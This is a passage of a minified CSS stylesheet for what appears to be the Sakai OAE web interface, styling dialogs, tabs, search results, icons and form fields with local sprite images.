transparent;float:left;height:5px;margin-left:-20px;overflow:visible;width:5px;}\n.s3d-header .s3d-fixed-container .s3d-decor{background:url(/dev/images/dashboard_sprite.png) no-repeat scroll right -10px transparent;float:right;height:5px;margin-right:-20px;width:5px;position:relative;*right:-15px;}\n.s3d-main-container{background:#fff;}\n\n\n/*\n * CHROME STYLES\n * HEADINGS\n */\n.s3d-site-heading{padding:10px 0;font-weight:bold;color:#454A4F;}\n.s3d-site-heading h1{margin:0;padding:0;}\n\n\n/* PROGRAMMATICALLY SET STYLES\n * styles used to programmatically set placement of widgets on the page\n */\n.inline_class_widget_rightfloat{float:right; padding: 5px 0px 5px 10px;}\n.inline_class_widget_leftfloat{float:left; padding: 5px 10px 5px 0px;}\n\n\n/*\n * ACTIONS\n * links used to trigger an action\n * default styling: bold blue link\n * Variants:\n * - action series: links are inside list items, each list item is separated by a divider\n */\na.s3d-action,.s3d-actions a{color:#2683bc;font-weight:bold;font-size:13px;}\na.s3d-action-seeall{font-size:11px!important;}\n\n/* Primary button */\n.s3d-button-primary{background-position:right -110px;}\n.s3d-button-primary .s3d-button-inner{background-position:left -110px;}\n\n/* Search button */\n.s3d-search-button{padding-right:8px;}\n.s3d-search-button .s3d-button-icon-right{padding-right:22px;background-image:url(/dev/images/dashboard_sprite.png);background-position:42px -394px;display:inline;}\n\n\n/*\n * CONTEXT MENU FOR DROPDOWNS\n */.context_menu{left:18px;padding:0;position:absolute;top:124px;}\n.context_menu img{border:1px solid #555;border-bottom:none;}\n.context_menu ul{margin:0;margin-top:-3px;background-color:#eee;border:1px solid #555;}\n.context_menu ul li{list-style-type:none;}\n.context_menu ul li a{color:#666;font-size:.95em;display:block;padding:2px 20px 2px 4px;}\n\n\n/*\n * INPUT FIELDS\n */\ninput[type=text], input[type=password], input[type=email], input[type=url], textarea{border:1px solid #A9A9A9;}\n\n/*\n * CONTENT AREA TOP TABS\n */.s3d-primary-tabs{background:url(/dev/images/dashboard_sprite.png) no-repeat scroll right -1622px transparent;}\n.s3d-primary-tabs,.s3d-primary-tabs-inner{height:25px;border:none;padding:2px 5px 0;display:block;}\n.s3d-primary-tabs ul.fl-tabs{border:none;padding:0;margin:0;float:right;background:url(/dev/images/dashboard_sprite.png) no-repeat scroll left -1592px transparent;padding-left:20px;}\n.s3d-primary-tabs .fl-tabs-right li{margin-top:3px;}\n.s3d-primary-tabs ul.fl-tabs-left{float:left;padding:1px 0 0 3px;}\n.s3d-primary-tabs ul li{margin:0;margin-top:2px;padding:0;background:transparent;border:none;display:block;float:left;}\n.s3d-primary-tabs ul li a{padding:2px 18px 4px 13px;line-height:20px;background:transparent;border:none;font-weight:bold;color:#000;display:block;float:left;margin:0;position:relative;bottom:0!important;}\n.s3d-primary-tabs ul li.fl-tabs-active,.s3d-primary-tabs ul li.fl-tabs-active a{background-color:#FFF;background-image:url(/dev/images/dashboard_sprite.png);background-attachment:scroll;height:30px;bottom:0!important;position:relative;}\n.s3d-primary-tabs ul li.fl-tabs-active{padding-left:5px;background-position:left -1664px;}\n.s3d-primary-tabs ul li.fl-tabs-active a{background-position:right -1714px;font-weight:400;border:none;padding-left:15px;margin:0;}\n.fl-tab-content{border:none;margin:0;}\n\n\n/*\n * AUTOSUGGEST\n */\n.requireUser ul.as-selections{box-shadow:none;-webkit-box-shadow:none;-moz-box-shadow:none;border:1px solid #a9a9a9;}\nul.as-selections.loading{background:#fff url(../../../dev/images/ajax_load.gif) center center no-repeat;}\nul.as-selections li.as-original input {border:0;}\nul.as-selections textarea.as-input, ul.as-selections input.as-input{border:0;resize:none;}\nul.as-selections textarea.as-input{padding:0;}\n.autosuggest_wrapper{float:left;position:relative;width:100%;}\n.autosuggest_wrapper ul.as-list{top:100%;margin-top:-15px;}\n.autosuggest_wrapper .list_categories{float:right;}\n.autosuggest_wrapper textarea {overflow:hidden;}\n\n/* http://blogs.sitepoint.com/2005/02/26/simple-clearing-of-floats/ */\n.clearfix{overflow:auto;}\n\n\n /*\n * OLD DIALOG LAYOUT\n */\n.dialog{color:#333;display:none;left:50%;margin-left:-250px;position:absolute;top:12%;width:500px;}\n.jqmOverlay{background-color:#000;opacity:0.6 !important}\n\n/* Dialog header */\n.dialog_header{background:url(/dev/images/dashboard_sprite.png) no-repeat scroll right -641px transparent;padding:0 8px 0 0;}\n.dialog_header_inner{background:url(/dev/images/dashboard_sprite.png) no-repeat scroll -10px -819px transparent;}\n.dialog_header h1{color:#fff;display:block;font-size:1.1em;margin:0;padding:15px 20px;}\n.dialog_header .dialog_close_image{background:url(/dev/images/dashboard_sprite.png) no-repeat scroll -40px -641px transparent;cursor:pointer;display:block;height:15px;overflow:hidden;position:absolute;right:20px;top:17px;text-indent:-5000px;width:14px;}\n\n/* Dialog content */\n.dialog_content{background-color:#fff;border-left:3px #454a4f solid;border-right:3px #454a4f solid;padding:7px 20px;}\n.dialog_content h1{font-size:1.1em;font-weight:bold;color:#333;margin:0;padding:5px 0;}\n.dialog_content textarea{height:80px;width:98%;padding: 5px;}\n\n/* Dialog buttons */\n.dialog_buttons{clear:both;margin-top:20px;float:right;}\n\n/* Dialog footer */\n.dialog_footer{background:url(/dev/images/dashboard_sprite.png) no-repeat scroll right -957px transparent;padding:0 8px 0 0;}\n.dialog_footer_inner{background:url(/dev/images/dashboard_sprite.png) no-repeat scroll -10px -937px transparent;height:6px;}\n\n/* Dialog tooltip header */\n.dialog_tooltip_header_arrow{background:url(/dev/images/tour_sprite.png) no-repeat scroll -254px -76px transparent;height:18px;margin:0 0 0 20px;width:35px;}\n.dialog_tooltip_header{background:url(/dev/images/tour_sprite.png) no-repeat scroll right -20px transparent;padding:0 22px 0 0;}\n.dialog_tooltip_header_inner{background:url(/dev/images/tour_sprite.png) no-repeat scroll left top transparent;height:14px;}\n\n/* Dialog tooltip content */\n.dialog_tooltip_close{float:right;}\n.dialog_tooltip_content{background:url(/dev/images/tour_sprite.png) no-repeat scroll left -80px transparent;padding:7px 20px 0;}\n.dialog_tooltip_content h2{font-size:1.1em;font-weight:bold;color:#333;margin:0;padding:0 0 5px;}\n.dialog_tooltip_content p{font-size:.9em;}\n.dialog_tooltip_content textarea{height:80px;width:98%;}\n\n/* Dialog tooltip footer */\n.dialog_tooltip_footer{background:url(/dev/images/tour_sprite.png) no-repeat scroll right -60px transparent;padding:0 22px 0 0;}\n.dialog_tooltip_footer_inner{background:url(/dev/images/tour_sprite.png) no-repeat scroll left -40px transparent;height:14px;}\n.dialog_tooltip_footer_arrow{background:url(/dev/images/tour_sprite.png) no-repeat scroll -217px -80px transparent;width:35px;height:18px;margin:0 0 0 20px;}\n\n/*\n * NEW DIALOG LAYOUT\n */\n.s3d-dialog{color:#333;display:none;left:50%;margin-left:-250px;position:absolute;top:50px;width:500px;}\n.s3d-dialog-container {background-color:#fff; border:1px solid #a9a9a9; -moz-border-radius:5px;border-radius:5px;padding:7px 20px 12px;box-shadow:0 0 10px #000;-moz-box-shadow:0 0 10px #000;-webkit-box-shadow:0 0 10px #000;color:#424242;font-size:12px;}\n.s3d-dialog-container .s3d-dialog-close {background:url(\"/dev/images/dialog_close.png\") no-repeat top left transparent;width:19px;height:17px;float:right;cursor:pointer;margin:-2px -15px 0 0;}\n.s3d-dialog-container .s3d-dialog-close:hover {background:url(\"/dev/images/dialog_close.png\") no-repeat left -19px transparent;}\n.s3d-dialog-container h1.s3d-dialog-header {border-bottom:1px dotted #d4d4d4;color:#666;font-size:19px;font-weight:normal;padding-bottom:11px;margin-bottom:15px;}\n\n/* Widget bar item counts */\n.s3d-counts-outer{padding:3px 2px;background:#fff;border:1px solid #D6D9DB;border-radius:5px;-moz-border-radius:5px;-webkit-border-radius:5px;box-shadow:0 0 4px -2px #A8A8A8 inset;-webkit-box-shadow:0 0 4px -2px #A8A8A8 inset;-moz-box-shadow:0 0 4px -2px #A8A8A8 inset; font-size: 11px; position: relative; top: -1px; margin-left: 5px;}\n.s3d-counts-outer a{padding-right:6px;color:#707070;}\n.s3d-counts-inner{color:#fff;padding:0px 4px;background:#D4D4D4;border:1px solid #CACACA;border-radius:5px;-moz-border-radius:5px;-webkit-border-radius:5px;box-shadow:0 0 4px -2px #A2A2A2 inset;-webkit-box-shadow:0 0 4px -2px #A2A2A2 inset;-moz-box-shadow:0 0 4px -2px #A2A2A2 inset;}\n\n/*\n * CHAT\n */\n.chat_available_status_online{background:url(/dev/images/dashboard_sprite.png) no-repeat scroll -33px -395px transparent;}\n.chat_available_status_busy{background:url(/dev/images/dashboard_sprite.png) no-repeat scroll -63px -395px transparent;}\n.chat_available_status_offline{background:url(/dev/images/dashboard_sprite.png) no-repeat scroll -93px -395px transparent;}\n.chat_available_status_offline,.chat_available_status_busy,.chat_available_status_online{padding-left:15px;}\n\n\n/*\n * LISTS\n */\n.s3d-list-item{list-style:none outside none;padding:5px 0 5px 10px!important;margin:0!important;clear:both;overflow:hidden;}\n.s3d-list-entity-picture{float:left;height:32px;margin-right:10px;width:32px;}\n.s3d-entity-displayname{padding-top:4px;margin:4px 0 0 8px;float:left;}\n.s3d-list-link-full-space{clear:both;height:100%;}\nul li.s3d-list-item:hover{background-color:#f1f9fd;}\n\n.s3d-dropdownlistone-text{padding:0 7px;border-right:none;color:#fff;font-size:11px;}\n.s3d-dropdownlistone-text .dropdownlistone_arrow{background:url(/dev/images/dashboard_sprite.png) no-repeat scroll -149px -394px transparent;padding-right:17px;padding-left:8px;}\n.s3d-dropdownlistone-menu{background-color:#868a8d;line-height:16px;position:absolute;z-index:500;padding:0 0 6px;min-width:100px;}\n.s3d-dropdownlistone-menu div{margin-top:5px;}\n.s3d-dropdownlistone-menu ul{margin:0;padding:0;}\n.s3d-dropdownlistone-menu li{display:block;list-style-type:none;margin:0;padding:3px 5px 6px 13px;}\n.s3d-dropdownlistone-menu li a{border:none;color:#fff;padding:0;}\n.s3d-dropdownlistone-menu li a:hover, .s3d-dropdownlistone-menu li button:hover{color:#ddd;}\n.s3d-dropdownlistone-menu-border{border-bottom:1px solid #777;}\n.s3d-dropdownlistone-link-inactive {color:#aaa;}\n\n.s3d-dropdownlisttwo-text{color: #666666;}\n.s3d-dropdownlisttwo-text span{float:left;}\n.s3d-dropdownlisttwo-text .s3d-dropdownlisttwo-arrow-down{background:url(/dev/images/dashboard_sprite.png) no-repeat scroll -128px -400px transparent;float:left;height: 10px;margin: 6px 0 0 6px;width: 10px;}\n.s3d-dropdownlisttwo-text .s3d-dropdownlisttwo-arrow-up{background:url(/dev/images/dashboard_sprite.png) no-repeat scroll -218px -400px transparent;float:left;height: 10px;margin: 6px 0 0 6px;width: 10px;}\n.s3d-dropdownlisttwo-menu{font-size:.95em!important;left:110px;list-style-image:none;position:absolute;top:29px;z-index:10;margin:0;}\n.s3d-dropdownlisttwo-menu ul{background-color:#fff;border:1px solid #CCC;margin:0;padding:5px 15px 5px 7px;}\n.s3d-dropdownlisttwo-menu li{list-style-type:none;padding:0;}\n\n/*\n * POPOVERS\n */\n.s3d-popover-container {border: 1px solid #EAEBEC;border-top: none;border-radius: 5px;-moz-border-radius: 5px;-webkit-border-radius: 5px;box-shadow: 0px 0px 5px #454545;-moz-box-shadow: 0px 0px 5px #454545;-webkit-box-shadow: 0px 0px 5px #454545;background:url(\"/dev/images/popover_bg.png\") repeat-x scroll left top #f4f4f4;font-size:13px;}\n.s3d-popover-container .s3d-popover-inner {padding:10px;word-wrap:break-word;}\n.s3d-popover-arrowup {background:url(\"/dev/images/popover_arrowup.png\") no-repeat scroll left top transparent;height:13px;margin-left:110px;position:relative;width:33px;}\n\n/* \n * TAGLISTS\n */\n.s3d-taglist-container {max-height:53px;overflow-y:hidden;}\n.s3d-taglist{margin:3px 0 0 20px;text-indent:-20px;}\n.s3d-taglist li{display:inline;list-style:disc;padding: 0;margin:0;list-position:inside}\n.s3d-taglist li a{font-size:11px !important;font-weight:normal !important;}\n.s3d-taglist li:before{content:'\\0020\\00b7\\0020'}\n.s3d-taglist li:first-child:before{content:''}\n.s3d-taglist li:first-child{list-style:none;background:url(\"/devwidgets/entity/images/entity_tags_icon.png\") no-repeat scroll left 1px transparent;padding-left:20px;}\n\n/* \n * HIGHLIGHTED AREAS\n */\n.s3d-highlight_area_background{background-color:#EFF2F4;padding:0 10px;margin:0 0 15px;}\n.s3d-highlight_area_background_tl{height:7px;margin-left:-10px;background:url(/dev/images/dashboard_sprite.png) no-repeat scroll -10px -1037px transparent;}\n.s3d-highlight_area_background_tinner{height:7px;margin-right:-10px;background:url(/dev/images/dashboard_sprite.png) no-repeat scroll right -1047px transparent;}\n.s3d-highlight_area_background_bl{clear:both;height:7px;margin-left:-10px;background:url(/dev/images/dashboard_sprite.png) no-repeat scroll -10px -1057px transparent;}\n.s3d-highlight_area_background_binner{clear:both;height:7px;margin-right:-10px;background:url(/dev/images/dashboard_sprite.png) no-repeat scroll right -1067px transparent;}\n.s3d-highlight_area_background_white_content_tl{height:7px;margin-left:-10px;background:url(/dev/images/dashboard_sprite.png) no-repeat scroll -10px -1198px transparent;}\n.s3d-highlight_area_background_white_content_tinner{height:7px;margin-right:-10px;background:url(/dev/images/dashboard_sprite.png) no-repeat scroll right -1208px transparent;}\n.s3d-highlight_area_background_white_content_bl{clear:both;height:7px;margin-left:-10px;background:url(/dev/images/dashboard_sprite.png) no-repeat scroll -10px -1217px transparent;}\n.s3d-highlight_area_background_white_content_binner{clear:both;height:7px;margin-right:-10px;background:url(/dev/images/dashboard_sprite.png) no-repeat scroll right -1227px transparent;}\n.s3d-highlight_area_background_darker1{background-color:#d5dbdf;padding:0 10px;margin:0 0 15px;}\n.s3d-highlight_area_background_darker1_tl{height:7px;margin-left:-10px;background:url(/dev/images/dashboard_sprite.png) no-repeat scroll -10px -1077px transparent;}\n.s3d-highlight_area_background_darker1_tinner{height:7px;margin-right:-10px;background:url(/dev/images/dashboard_sprite.png) no-repeat scroll right -1087px transparent;}\n.s3d-highlight_area_background_darker1_bl{height:7px;margin-left:-10px;background:url(/dev/images/dashboard_sprite.png) no-repeat scroll -10px -1097px transparent;}\n.s3d-highlight_area_background_darker1_binner{height:7px;margin-right:-10px;background:url(/dev/images/dashboard_sprite.png) no-repeat scroll right -1107px transparent;}\n.s3d-highlight_area_background_darker1_white_content_tl{height:7px;margin-left:-10px;background:url(/dev/images/dashboard_sprite.png) no-repeat scroll -10px -1117px transparent;}\n.s3d-highlight_area_background_darker1_white_content_tinner{height:7px;margin-right:-10px;background:url(/dev/images/dashboard_sprite.png) no-repeat scroll right -1127px transparent;}\n.s3d-highlight_area_background_darker1_white_content_bl{clear:both;height:7px;margin-left:-10px;background:url(/dev/images/dashboard_sprite.png) no-repeat scroll -10px -1137px transparent;}\n.s3d-highlight_area_background_darker1_white_content_binner{clear:both;height:7px;margin-right:-10px;background:url(/dev/images/dashboard_sprite.png) no-repeat scroll right -1147px transparent;}\n\n/*\n * SEARCH\n */\n\n/* SEARCH BAR */\n.s3d-search-bar{margin-left:205px; position: relative; top: -10px;}\n.s3d-search-bar input{color:#6d6d6d !important;width:500px;font-size:1.2em !important;display:block;}\n\n/* SEARCH HEADER */\n.s3d-search-header{text-align:left;font-weight:normal;font-size:1em;color:#666;width:700px;}\n.s3d-search-header{margin-bottom: 5px;padding:5px 5px 8px 10px;background-color:#f5f5f5;border-radius:2px;-moz-border-radius:2px;-webkit-border-radius:2px;box-shadow:0 1px 1px 1px #CCC;-webkit-box-shadow:0 1px 1px 1px #CCC;-moz-box-shadow:0 1px 1px 1px #CCC;}\n.s3d-search-header .s3d-search-header-type{display:inline-block; padding-top: 2px;}\n.s3d-search-header .s3d-search-selects{float:right;}\n.s3d-search-header .s3d-search-selects div{display:inline;float:left;}\n.s3d-search-header .s3d-search-selects select{border: 1px solid #CCCCCC;margin:0;}\n.s3d-search-header .s3d-search-selects .s3d-search-sort{margin-left:10px;}\n\n/* SEARCH REFINE BY TAGS */\n.s3d-search-tag{padding:0;margin:5px 2px 0 2px;}\n.s3d-search-activetags span, .s3d-search-refineby span{display:inline-block;}\n.s3d-search-activetags button{color:#6C6C6C;cursor:pointer;border:1px solid #b4b5b5;border-radius:10px;-moz-border-radius:10px;-webkit-border-radius:10px;background-color:#FEFEFE;}\n.s3d-search-activetags button img{margin-left:8px;}\n.s3d-search-refineby-list{margin-bottom:15px;}\n.s3d-search-refineby .s3d-search-refineby-title{margin-bottom:5px;display:block;color:#64707E;}\n.s3d-search-refineby button{cursor:pointer;color:#585858;border:1px solid #A5BECF;border-radius:10px;-moz-border-radius:10px;-webkit-border-radius:10px;background:url(\"/dev/images/search_tag_button.png\") repeat-x scroll left top #cde6f7;}\n\n/* SEARCH RESULTS */\n.s3d-search-results{display:block; overflow:hidden;width:715px;}\n.s3d-search-results .s3d-search-results-container{margin:10px 0 0;padding:0;border-top: 1px solid #e9e9e9;}\n.s3d-search-result{color:#333;padding:10px;border-bottom: 1px dotted #cccccc;list-style:none}\n.s3d-search-result a img{float:left;padding:0 10px 5px 0;width:40px;}\n.s3d-search-result-right{margin-left:80px;}\n.s3d-search-results .jq_pager{clear:both;border-bottom: 1px solid #e9e9e9;}\n.s3d-search-result-detail-separator{color:#cccccc;margin: 0 5px;}\n.s3d-search-result:hover{background-color:#f2f9fc;}\n\n/* search results common elements in content people and group results */\n.s3d-search-result-content .searchcontent_result_usedin_icon, .s3d-search-result-group .searchgroups_result_usedin_icon{background: url(\"/devwidgets/entity/images/entity_used_by_icon.png\") no-repeat scroll left top transparent;}\n.s3d-search-result-content .searchcontent_result_comments_icon, .s3d-search-result-group .searchgroups_result_comments_icon{background: url(\"/devwidgets/entity/images/entity_comment_icon.png\") no-repeat scroll left top transparent;}\n.s3d-search-result-content .searchcontent_result_left_filler, .s3d-search-result-person .searchpeople_result_left_filler, .s3d-search-result-group .searchgroups_result_left_filler{margin:1px 8px 0 0;display: inline;float: left;height: 25px;width: 17px;}\n.s3d-search-result-content .searchcontent_result_plus, .s3d-search-result-person .searchpeople_result_plus, .s3d-search-result-group .searchgroups_result_plus{color:#e4e4e4;font-size:x-large;font-weight:100;margin:-5px 10px 10px -2px;}\n.s3d-search-result-content .searchcontent_result_icon, .s3d-search-result-person .searchpeople_result_icon, .s3d-search-result-group .searchgroups_result_icon{display:inline-block;height:10px;width:15px;}\n.s3d-search-result-content .searchcontent_result_description, .s3d-search-result-person .searchperson_result_description, .s3d-search-result-group .searchgroup_result_description{word-wrap:break-word;}\n/* search results hide elements used in grid view by default */\n.s3d-search-result-content .searchcontent_result_description_grid, .s3d-search-result-person .searchpeople_result_description_grid, .s3d-search-result-group .searchgroups_result_description_grid,\n.s3d-search-result-name-grid, .s3d-search-result-tag-grid, .s3d-search-result-avatar-large,\n.s3d-search-result-content .searchcontent_result_by_name_grid{display:none;}\n\n/* search results content */\n.s3d-search-result-content .searchcontent_result_description{margin:0 0 5px;color:#333;font-size:11px;padding:6px 0; word-wrap: break-word;}\n.s3d-search-result-content .searchcontent_result_mimetype{font-size:smaller;white-space:pre;text-transform:uppercase;}\n.s3d-search-result-content .searchcontent_result_by{padding:3px 0;font-size:11px;}\n.s3d-search-result-content .searchcontent_result_detail_separator{color:#cccccc;}\n.s3d-search-result-content .searchcontent_result_usedin{margin-top:2px;font-size:11px;}\n.s3d-search-result-content .searchcontent_result_share_icon{display:inline-block;float:right;margin-left:10px;}\n.s3d-search-result-content .searchcontent_result_author_icon{margin-left:8px;display:inline-block;float:right;}\n\n/* search results people */\n.s3d-search-result-person .searchpeople_result_person{margin:5px 8px 10px;padding:10px;width:280px;background-color:#FFF;height:50px;float:left;border:none;overflow:hidden;}\n.s3d-search-result-person .searchpeople_result_person_picture{float:left;display:block;width:48px;height:48px;padding:0;margin:0;}\n.s3d-search-result-person .searchpeople_result_dot{display:block;float:left;position:relative;left:5px;}\n.s3d-search-result-person .searchpeople_result_person_dept{display:block;color:#999;font-size:.85em;margin:0 0 4px 57px;line-height:12px;}\n.s3d-search-result-person .searchpeople_result_person_links{margin-left:57px;}\n.s3d-search-result-person .searchpeople_result_person_link{font-size:.85em;}\n.s3d-search-result-person .searchpeople_result_person_divider{color:#ddd;margin:0 0 0 0px!important;}\n.s3d-search-result-person .searchpeople_result_person_threedots{display:block;width:150px;}\n.s3d-search-result-person .searchpeople_result_counts{padding:3px 0;font-size:11px;}\n.s3d-search-result-person .searchpeople_result_message_icon{display:inline-block;float:right;}\n\n/* search results groups */\n.s3d-search-result-group .searchgroups_result_grouptype {font-size:smaller;white-space:pre;}\n.s3d-search-result-group .searchgroups_result_message_icon{display:inline-block;float:right;}\n.s3d-search-result-group .searchgroups_result_usedin{font-size: 11px;padding:3px 0;}\n.s3d-search-result-group .searchgroups_result_comments_icon{margin-left:8px;}\n.s3d-search-result-group .searchgroups_result_description{color:#333;font-size:.90em;padding:3px 0;word-wrap: break-word;}\n.s3d-search-result-group .searchgroups_result_plus{margin:1px 8px 0 0;display:inline;float:left;height:17px;width:17px;}\n.s3d-search-result-group .searchgroups_result_plus:hover{cursor:pointer;}\n\n/* search results grid */\n.s3d-search-results-grid{border:0 !important;border-top:1px solid #ddd !important;padding-top:5px;border-spacing:10px;}\n.s3d-search-results-grid .s3d-search-result{width:150px;height:232px;overflow:hidden;border: 1px solid #FFFFFF !important;float:left;position:relative;margin:0 8px 8px 0;clear:none;}\n.s3d-search-results-grid .s3d-search-result a img{float:left !important;padding:0 !important;margin-left:24px;width:100px !important;height:100px !important;position:absolute;}\n.s3d-search-results-grid .s3d-search-result-anonuser{display:none !important;}\n.s3d-search-results-grid .s3d-search-result-right{margin:135px 0 0 7px;}\n.s3d-search-results-grid .s3d-search-result-user-functions{position:absolute;float:left !important;margin:110px 0 0 21px !important;}\n.s3d-search-results-grid .s3d-search-result-content .s3d-actions-addtolibrary{margin-right:8px;}\n.s3d-search-results-grid .s3d-search-result-content .s3d-actions-author{margin-right:20px;}\n.s3d-search-results-grid .s3d-search-result-content .searchcontent_result_usedin_line{display:block;margin-bottom:2px;}\n.s3d-search-results-grid .s3d-search-result-group .s3d-actions-message{margin-left:60px;}\n.s3d-search-results-grid .s3d-search-result-group .searchgroups_result_plus{margin-top:-1px;}\n.s3d-search-results-grid .s3d-search-result-person .searchpeople_result_left_filler{margin: 0 70px 0 -50px;}\n.s3d-search-results-grid .s3d-search-result-detail-separator{display:block;}\n.s3d-search-results-grid .s3d-search-result-detail-separator span{display:none;}\n.s3d-search-results-grid .searchpeople_result_description, .s3d-search-results-grid .searchgroups_result_description, .s3d-search-results-grid .searchcontent_result_description,\n.s3d-search-results-grid .s3d-search-result-name, .s3d-search-results-grid .s3d-search-result-tag,\n.s3d-search-results-grid .searchcontent_result_by_name{display:none;}\n.s3d-search-results-grid .searchpeople_result_description_grid, .s3d-search-results-grid .searchgroups_result_description_grid, .s3d-search-results-grid .searchcontent_result_description_grid{display:none;word-wrap:break-word;}\n.s3d-search-results-grid .s3d-search-result-name-grid, .s3d-search-results-grid .s3d-search-result-tag-grid, .s3d-search-results-grid .s3d-search-result-avatar-large,\n.s3d-search-results-grid .searchcontent_result_by_name_grid{display:inline;}\n.s3d-search-results-grid ~ .jq_pager{border:0;}\n.s3d-search-results-grid .s3d-search-result:hover{border: 1px solid #e9e9e9;border-radius:3px;-moz-border-radius:3px;-webkit-border-radius:3px;}\n\n/* search results anon user */\n.s3d-search-results-anon .s3d-search-result-user-functions{display:none;}\n.s3d-search-results-anon .s3d-search-result-anonuser{display:inline;float:left;height:15px;width:15px;}\n.s3d-search-results-anon .s3d-search-results-grid .s3d-search-result-right{margin:110px 0 0 0;}\n\n/* Search list or grid view buttons */\n.s3d-search-listview-options {float:right;padding:0!important;height:19px!important;margin-left:20px;}\n.s3d-search-listview-options:hover {background:#fff!important;box-shadow:0 0 4px -2px #A8A8A8 inset!important;}\n.s3d-search-listview-options > div {float:left;height:15px;padding:3px 4px 2px;}\n.s3d-search-listview-options > div.selected, .s3d-search-listview-options > div:hover {background:url(\"/dev/images/button_header_hover.png\") repeat-x scroll left -1px transparent;box-shadow:0 0 4px -2px #A8A8A8 inset;} \n.s3d-search-listview-options .search_view_list {border-radius:0 5px 5px 0;}\n.s3d-search-listview-options .search_view_grid {border-radius:5px 0 0 5px;}\n.s3d-search-listview-options .s3d-action-icon {display:block!important;}\n\n/* Search icons */\n.s3d-search-results-gridview {background:url('/dev/images/search_grid_16x16.png') no-repeat top left transparent;}\n.s3d-search-results-gridview:hover {background:url('/dev/images/search_grid_16x16_hover.png') no-repeat top left transparent;}\n.s3d-search-results-gridview.selected {background:url('/dev/images/search_grid_16x16_hover.png') no-repeat top left transparent;}\n.s3d-search-results-listview {background:url('/dev/images/search_list_16x16.png') no-repeat top left transparent;}\n.s3d-search-results-listview:hover {background:url('/dev/images/search_list_16x16_hover.png') no-repeat top left transparent;}\n.s3d-search-results-listview.selected {background:url('/dev/images/search_list_16x16_hover.png') no-repeat top left transparent;}\n.s3d-search-results-carouselview {background:url('/dev/images/search_carousel_16x16.png') no-repeat top left transparent;margin-top:-2px;}\n.s3d-search-results-carouselview:hover {background:url('/dev/images/search_carousel_16x16_hover.png') no-repeat top left transparent;}\n.s3d-search-results-carouselview.selected {background:url('/dev/images/search_carousel_16x16_hover.png') no-repeat top left transparent;}\n.s3d-search-results-blogview {background:url('/dev/images/search_blog_16x16.png') no-repeat top left transparent;margin-top:-1px;}\n.s3d-search-results-blogview:hover {background:url('/dev/images/search_blog_16x16_hover.png') no-repeat top left transparent;}\n.s3d-search-results-blogview.selected {background:url('/dev/images/search_blog_16x16_hover.png') no-repeat top left transparent;}\n\n/*\n * Progress indicator\n */\n#sakai_progressindicator {margin-top:25px;}\n#sakai_progressindicator h1, #sakai_progressindicator p {text-align:center;}\n#sakai_progressindicator .s3d-inset-shadow-container {height:50px;padding-top:30px;}\n#sakai_progressindicator .s3d-inset-shadow-container img {display:block;height:20px;margin-left:auto;margin-right:auto;width:188px;}\n\n/*\n * ICONS\n */\n.s3d-icon-16{width:16px; height:16px;}\n.s3d-icon-25{width:25px; height:25px;}\n.s3d-icon-32{width:32px; height:32px;}\n.s3d-icon-40{width:40px; height:40px;}\n.s3d-icon-50{width:50px; height:50px;}\n.s3d-icon-64{width:64px; height:64px;}\n.s3d-icon-128{width:128px; height:128px;}\n.icon-audio-sprite{background:url(/dev/images/icons_sprite.png) no-repeat scroll -958px 0 transparent;}\n.icon-doc-sprite{background:url(/dev/images/icons_sprite.png) no-repeat scroll -112px 0 transparent;}\n.icon-pdf-sprite{background:url(/dev/images/icons_sprite.png) no-repeat scroll -750px 0 transparent;}\n.icon-pps-sprite{background:url(/dev/images/icons_sprite.png) no-repeat scroll -463px 0 transparent;}\n.icon-swf-sprite{background:url(/dev/images/icons_sprite.png) no-repeat scroll -1040px 0 transparent;}\n.icon-zip-sprite{background:url(/dev/images/icons_sprite.png) no-repeat scroll -1056px 0 transparent;}\n.icon-spreadsheet-sprite{background:url(/dev/images/icons_sprite.png) no-repeat scroll -560px 0 transparent;}\n.icon-txt-sprite{background:url(/dev/images/icons_sprite.png) no-repeat scroll -1086px 0 transparent;}\n.icon-image-sprite{background:url(/dev/images/icons_sprite.png) no-repeat scroll -320px 0 transparent;}\n.icon-html-sprite{background:url(/dev/images/icons_sprite.png) no-repeat scroll -302px 0 transparent;}\n.icon-video-sprite{background:url(/dev/images/icons_sprite.png) no-repeat scroll -1118px 0 transparent;}\n.icon-sound-sprite{background:url(/dev/images/icons_sprite.png) no-repeat scroll -622px 0 transparent;}\n.icon-kmultiple-sprite{background:url(/dev/images/icons_sprite.png) no-repeat scroll -430px 0 transparent;}\n.icon-url-sprite{background:url(/dev/images/icons_sprite.png) no-repeat scroll -304px 0 transparent;}\n.icon-sakaidoc-sprite{background:url(/dev/images/icons_sprite.png) no-repeat scroll -1185px 0 transparent;}\n.icon-unknown-sprite{background:url(/dev/images/icons_sprite.png) no-repeat scroll -143px 0 transparent;}\n.icon-collection-sprite{background:url(/dev/images/icons_sprite.png) no-repeat scroll -430px 0 transparent;}\n\n/*\n * Forms and Validation\n */\n.s3d-form-field-wrapper{position:relative;}\n.s3d-form-field-wrapper input, .s3d-form-field-wrapper textarea, .s3d-form-field-wrapper select,.s3d-form-field-wrapper ul.as-selections{float:left;clear:right;margin-bottom:15px;}\n.s3d-form-field-wrapper input, .s3d-form-field-wrapper textarea{width:55%;padding:0 5px;}\n.s3d-form-field-wrapper ul.as-selections input{padding:0px;}\n.s3d-form-field-wrapper textarea{padding:5px;}\n.s3d-form-field-wrapper input.s3d-input-full-width, .s3d-form-field-wrapper textarea.s3d-input-full-width{width:98%;clear:both;}\n.s3d-form-field-wrapper ul.as-selections{padding: 0px 5px;width:98%;}\n.s3d-form-field-wrapper input{height:21px;}\n.s3d-form-field-wrapper label.s3d-input-label{float:left;width:35%;clear:left;text-align:right;padding:5px 2%;color:#666;}\n.s3d-form-field-wrapper label.s3d-input-label-above{width:100%;clear:both;text-align:left;padding:0;}\n.s3d-form-field-wrapper input.s3d-error, .s3d-form-field-wrapper textarea.s3d-error,.s3d-form-field-wrapper input.s3d-error-after, .s3d-form-field-wrapper textarea.s3d-error-after, .s3d-form-field-wrapper ul.as-selections.s3d-error{border:3px solid #cc0000;}\n.s3d-form-field-wrapper span.s3d-error{clear:both;background-color:#cc0000;color:#fff;padding:0 5px;width:55%;float:left;margin-left:39%;border:3px solid #cc0000;font-size:11px;}\n.s3d-form-field-wrapper span.s3d-error-after{clear:both;background-color:#cc0000;color:#fff;padding:0 5px;width:98%;float:left;margin-left:0;border:3px solid #cc0000;font-size:11px;}\n.s3d-form-field-wrapper input::-webkit-input-placeholder, .s3d-form-field-wrapper textarea::-webkit-input-placeholder {color:#aaa;font-size:12px;}\n.s3d-form-field-wrapper input:-moz-placeholder, 